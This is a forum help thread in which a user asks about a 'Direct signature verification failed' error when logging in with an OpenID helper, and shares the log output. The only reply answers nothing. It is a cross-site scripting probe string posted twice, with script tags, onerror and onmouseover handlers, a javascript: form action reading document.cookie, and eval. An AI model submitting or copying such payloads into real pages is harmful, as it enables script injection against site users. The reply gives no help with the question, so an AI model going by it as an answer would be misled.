Direct signature verification failed

[jbezza]

Hi All, I keep getting the same error when trying to login to my website using OpenIdHelper:

2013-05-04 15:36:59 INFO  ConsumerManager:1121 - Verifying authentication response...

2013-05-04 15:36:59 INFO  ConsumerManager:1145 - Received positive auth response.

2013-05-04 15:36:59 INFO  ConsumerManager:1799 - No association found, contacting the OP for direct verification...

2013-05-04 15:36:59 ERROR ConsumerManager:1851 - Verification failed for: http://[url]/openid?id=[claimedId] reason: Direct signature verification failed.

Has anybody experienced this before?  Any help appreciated, I can't find a way around this error.

Many thanks!

James.

[Edis Konstantini]

1. '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(document.cookie) type=submit>'-->"></script><script>alert(document.location)</script>"><img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(document.cookie) type=submit>'-->"></script><script>alert(document.location)</script>"><img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">